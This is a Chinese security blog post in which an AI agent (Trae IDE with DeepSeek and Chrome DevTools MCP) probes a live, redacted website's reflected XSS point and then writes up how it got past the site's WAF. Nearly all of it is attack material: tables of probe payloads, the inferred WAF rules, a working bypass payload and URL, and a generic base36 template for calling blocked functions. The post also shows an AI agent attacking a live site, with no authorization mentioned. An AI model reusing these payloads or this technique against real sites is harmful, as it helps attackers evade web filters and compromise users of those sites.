测试 XSS 弹窗被重置?绕过它只花了 3 毛钱!
原创 xazlsec 2026-07-28 10:26 山西

信安之路官网:www.xazlsec.com,服务包括:自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC
在实战中测试发现一个疑似存在 XSS 漏洞的参数接口,可控参数位置如图:

双引号未转义和编码,当插入明显的弹窗 payload 时,发现被 WAF 拦截后,请求重置了,如图:

如果想利用该漏洞实现弹窗验证,该如何组合 payload?这是一个复杂的问题,在没有 AI 之前,需要超强的技术储备以及大量测试才可实现,既然有了 AI,那就让它来吧,工具使用 Trae IDE,配置好自己的 DeepSeek API key,然后安装好 Chrome DevTools MCP 服务,然后就可以开始测试了。最终组合出的 Payload:
word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F实战效果如图:

全部测试完成,只消耗了 3 毛钱,性价比超高:

对我而言,整个测试过程非常有价值,当然我认为对你来说也是很想知道它是如何一步一步测试的,于是我让他将整个测试过程进行了总结,形成文档供大家参考。XSS WAF 绕过分析与测试报告如下:
1. 目标概述
漏洞参数:
word漏洞类型: Reflected XSS(参数内容回显在页面中)
测试目标: 找到能绕过 WAF 并执行弹窗(
alert/confirm/prompt)的 payload
初始 Payload 素材
来自 xss 知识文件中的各类 href-based XSS payload,涵盖:
| 类型 | 示例 |
|---|---|
| 基本 javascript: | <a href="javascript:alert('test')">link</a> |
| HTML 实体编码 | <a href="javascript:alert('xss')">link</a> |
| VBScript | <a href='vbscript:MsgBox("XSS")'>link</a> |
| 反引号语法 | <a href="javascript:confirm1">link</a> |
| 十六进制转义 | <a href="javascript:\u0061lert(1)">Hello</a> |
| URL 编码 | <a href="javascript:%61%6c%65%72%74%28%31%29">link</a> |
| Hex 转义 | <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> |
| Base64 | <a href="data:text/html;base64,...">test</a> |
| 混合编码 | <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> |
2. 注入点分析
2.1 参数回显位置
访问 http://xxxxxx?word=XXXXX 后,通过分析 HTML 源码,发现参数在 三个位置回显:
位置 1: 页面文本内容(div)
<divid="jiansuocelue">检索条件:XXXXX</div>
位置 2: JavaScript 字符串上下文(关键注入点)
$(function(){
varword="XXXXX"; // ← 这里是注入点$("#ac_keybox_0").val(word);})位置 3: 搜索框 input 的 value 属性
<inputvalue="XXXXX">
2.2 注入点选择
位置 2(JavaScript 字符串上下文)是最有希望的注入点,因为突破字符串后可以直接执行任意 JavaScript 代码:
varword="";[CODE_HERE]//";
3. WAF 探测与规则分析
3.1 测试方法
通过逐次修改 word 参数值,观察服务器响应来判断 WAF 规则:
连接重置 (
ERR_CONNECTION_RESET) → WAF 在网络层拦截(检测到 JS 执行相关模式)返回"非法请求"页面 → WAF 在应用层拦截(检测到 HTML 标签等)
正常返回页面 → 通过检测
3.2 WAF 规则详细清单
规则组 A: HTML 标签(触发"非法请求")
| 测试 Payload | 结果 |
|---|---|
word=test123 | 正常 |
word=<div>hello</div> | 非法请求 |
word=<a href="test">click</a> | 非法请求 |
word=<script>alert(1)</script> | 连接重置(同时触发了规则组A和B) |
word=<img src=x onerror=alert(1)> | 连接重置 |
结论: 任何包含 < 的 HTML 标签都被应用层 WAF 拦截。
规则组 B: 危险函数名 + 括号/反引号(触发连接重置)
| 测试 Payload | 结果 | 说明 |
|---|---|---|
word=alert(1) | 连接重置 | 基本 alert 调用 |
word=alert(1 | 正常 | 无闭合括号 |
word=alert | 正常 | 单独函数名 |
word=aLeRt(1) | 连接重置 | 大小写不敏感 |
word=confirm(1) | 连接重置 | confirm 同样被拦截 |
word=confirm\1`` | 连接重置 | 反引号语法也被拦截 |
word=confirm\1` | 正常 | 无闭合反引号 |
word=prompt(1) | 连接重置 | prompt 同样被拦截 |
word=eval(1) | 连接重置 | eval 被拦截 |
word=Function('a') | 连接重置 | 构造函数被拦截 |
word=setTimeout('a',0) | 连接重置 | setTimeout 被拦截 |
word=fromCharCode(97) | 连接重置 | fromCharCode 被拦截 |
word=write(1) | 正常 | 允许 |
word=atob('a') | 正常 | 允许 |
word=unescape('a') | 正常 | 允许 |
word=Reflect.get(1,'a') | 正常 | 允许 |
word=alerta(1) | 正常 | 随机函数名允许 |
结论: WAF 维护了一个危险函数名黑名单(大小写不敏感),检测到这些函数名与 ( 或反引号 ` 组合时触发连接重置。
规则组 C: 全局对象 + 方括号 + 函数调用(触发连接重置)
| 测试 Payload | 结果 |
|---|---|
word=this[1] | 正常(无函数调用) |
word=this[1](1) | 连接重置 |
word=self[1](1) | 连接重置 |
word=window[1](1) | 连接重置 |
word=top[1](1) | 连接重置 |
word=parent[1](1) | 连接重置 |
word=g[1](1) (g 是普通变量) | 正常 |
word=x[1](1) (x 是未定义变量) | 正常 |
结论: WAF 检测 this[ / self[ / window[ / top[ / parent[ 后跟 ]( 的模式。
规则组 D: constructor 原型链遍历(触发连接重置)
| 测试 Payload | 结果 |
|---|---|
word=([].constructor) | 正常 |
word=([].constructor.constructor('1')()) | 连接重置 |
word=([].constructor['constructor']('1')()) | 连接重置 |
word=var c=[];c['constructor']('1') | 连接重置 |
结论: constructor[ + ]( 或 constructor.constructor( 均被拦截。
规则组 E: function 关键字 + 立即执行(触发连接重置)
| 测试 Payload | 结果 |
|---|---|
word=(function(){}) | 正常(未执行) |
word=(function(){})() | 连接重置 |
word=(()=>1)() | 正常(箭头函数允许) |
结论: function 关键字 + {}() 模式被拦截,但箭头函数 IIFE 可以绕过。
规则组 F: 编码绕过检测(全部失败)
| 测试 Payload | 结果 | 说明 |
|---|---|---|
word=\u0061lert(1) | 连接重置 | Unicode 转义被检测 |
word=\x61lert\x28\x31\x29 | 连接重置 | 十六进制转义被检测 |
word=\141\154\145\162\164\050\061\051 | 连接重置 | 八进制转义被检测 |
word='ale'+'rt(1)' | 连接重置 | 字符串拆分被检测(推测 WAF 重构了字符串) |
word=atob('YWxlcnQoMSk=') | 连接重置 | Base64 被解码检测 |
word=atob('YWxlcnQ=') | 非法请求 | Base64 编码的 alert 函数名也被检测 |
结论: WAF 具备极强的解码能力,包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。
4. 绕过尝试历程
阶段 1: 基础尝试(全部失败)
| ### | Payload | 结果 | 原因 |
|---|---|---|---|
| 1 | <script>alert(1)</script> | 连接重置 | HTML标签 + alert( |
| 2 | "><img src=x onerror=alert(1)> | 连接重置 | 同上 |
| 3 | <a href="javascript:confirm(1)">link</a> | 连接重置 | HTML标签 |
| 4 | ");alert(1);// | 连接重置 | alert( 被拦截 |
| 5 | test"onfocus="open()"// | 非法请求 | HTML 属性注入 |
阶段 2: 确认基本注入能力
| ### | Payload | 结果 | 意义 |
|---|---|---|---|
| 6 | alert(1 | 正常 | 确认 WAF 检测闭合括号 |
| 7 | alert | 正常 | 单独函数名安全 |
| 8 | alerta(1) | 正常 | 随机函数名安全 |
| 9 | x(1) | 正常 | 简单函数调用安全 |
| 10 | x[1](1) | 正常 | 方括号调用安全 |
| 11 | ";location=1// | 跳转主页面 | 确认 JavaScript 代码可以执行! |
阶段 3: 解码绕过尝试
| ### | Payload | 结果 |
|---|---|---|
| 12 | \u0061lert(1) | 连接重置 |
| 13 | \u0061lert\x28\x31\x29 | 连接重置 |
| 14 | \141\154\145\162\164\050\061\051 | 连接重置 |
| 15 | 'ale'+'rt(1)' | 连接重置 |
| 16 | atob('YWxlcnQoMSk=') | 连接重置 |
| 17 | atob('YWx')+atob('ZXJ0KDEp') | 连接重置 |
阶段 4: 原型链 & 函数构造绕过
| ### | Payload | 结果 |
|---|---|---|
| 18 | ([]).constructor | 正常 |
| 19 | ([]).constructor.constructor('return 1')() | 连接重置 |
| 20 | ([]).constructor['constructor']('1')() | 连接重置 |
| 21 | var c=[];c['constructor']('1')() | 连接重置 |
| 22 | (function(){})() | 连接重置 |
| 23 | (()=>1)() | 正常(可执行但无法调用 alert) |
阶段 5: 对象引用绕过
| ### | Payload | 结果 |
|---|---|---|
| 24 | Reflect.get(window,'a')(1) | 连接重置 |
| 25 | Reflect.get(1,'a') | 正常 |
| 26 | Reflect.get(this,'a')(1) | 连接重置 |
| 27 | document.defaultView['a'](1) | 正常! |
| 28 | var g=document.defaultView;g['a'](1) | 正常! |
阶段 6: 函数名构造绕过
| ### | Payload | 结果 |
|---|---|---|
| 29 | g['ale'+'rt'](1) | 连接重置 |
| 30 | g[atob('YWxlcnQ=')](1) | 非法请求(WAF 检测到 base64 编码的 alert) |
| 31 | g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1) | 成功!弹出 alert(1) |
5. 成功 Payload
5.1 最终绕过 Payload
";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)//5.2 完整 URL
http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F5.3 绕过原理拆解
"; // 突破 JavaScript 字符串varg=document.defaultView; // 获取 window 对象(避开 window/self/this 关键字)g[ // 方括号属性访问 (10).toString(36) +// 'a' (21).toString(36) +// 'l' (14).toString(36) +// 'e' (27).toString(36) +// 'r' (29).toString(36) // 't'] // → g['alert'] → window.alert(1) // 调用 alert(1)// // 注释掉后续代码5.4 同款变体(反引号语法)
对应知识文件中 line 21 的 confirm\1`` 风格:
";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)]`1`//URL:
http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F5.5 绕过技巧对应表
| WAF 规则 | 绕过方法 |
|---|---|
拦截 alert( | 用 (10).toString(36) 逐字母构造 'alert',alert 关键字不出现在 URL 中 |
拦截 this[ / self[ / window[ | 用 document.defaultView 获取 window 对象 |
拦截方括号+函数调用 s[1](1) | 普通变量的方括号调用不被拦截(g['alert'](1) 通过) |
| 拦截 Base64 编码 | toString(36) 只有数字和 dot 号,不触发 Base64 检测 |
拦截 function(){}() | 不使用函数声明,直接用语句执行 |
拦截 ( 闭合模式 | (1) 单独出现不被拦截,只在特定函数名后触发 |
6. 成功验证
测试过程中浏览器 成功弹出了 alert: 1 对话框,并通过 handle_dialog 确认关闭:
Navigation timeout of 10000 ms exceeded.### Open dialogalert: 1.Call handle_dialog to handle it before continuing.
7. 总结
无法绕过的方式
素材文件中的所有 <a href> 类 payload 均无法直接使用,因为:
注入点不在
<a>标签的href属性中,而在<script>字符串中即使尝试注入
<a>标签,<也会被 WAF 拦截返回"非法请求"
通用绕过思路
对于此类强 WAF,以下思路组合可以有效突破:
避开黑名单函数名: 用
toString(36)或类似动态字符串构造方法避开全局对象关键字: 用
document.defaultView/(function(){return this;})()等间接引用避开编码检测: 不依赖 Base64/Unicode 转义,使用纯计算方式构造
善用允许的函数调用模式: 普通变量 + 方括号 + 括号调用
x[key](args)通常不被拦截
可用的通用模板
// 通用模板 - 替换 target_function_name 的 base36 对应数字";var _g=document.defaultView;_g[// 在此用 toString(36) 构造函数名 (N1).toString(36)+(N2).toString(36)+(N3).toString(36)+...](参数)//base36 字母对照表(快速查询):
| 字母 | 数字 | 字母 | 数字 | 字母 | 数字 |
|---|---|---|---|---|---|
| a | 10 | b | 11 | c | 12 |
| d | 13 | e | 14 | f | 15 |
| g | 16 | h | 17 | i | 18 |
| j | 19 | k | 20 | l | 21 |
| m | 22 | n | 23 | o | 24 |
| p | 25 | q | 26 | r | 27 |
| s | 28 | t | 29 | u | 30 |
| v | 31 | w | 32 | x | 33 |
| y | 34 | z | 35 |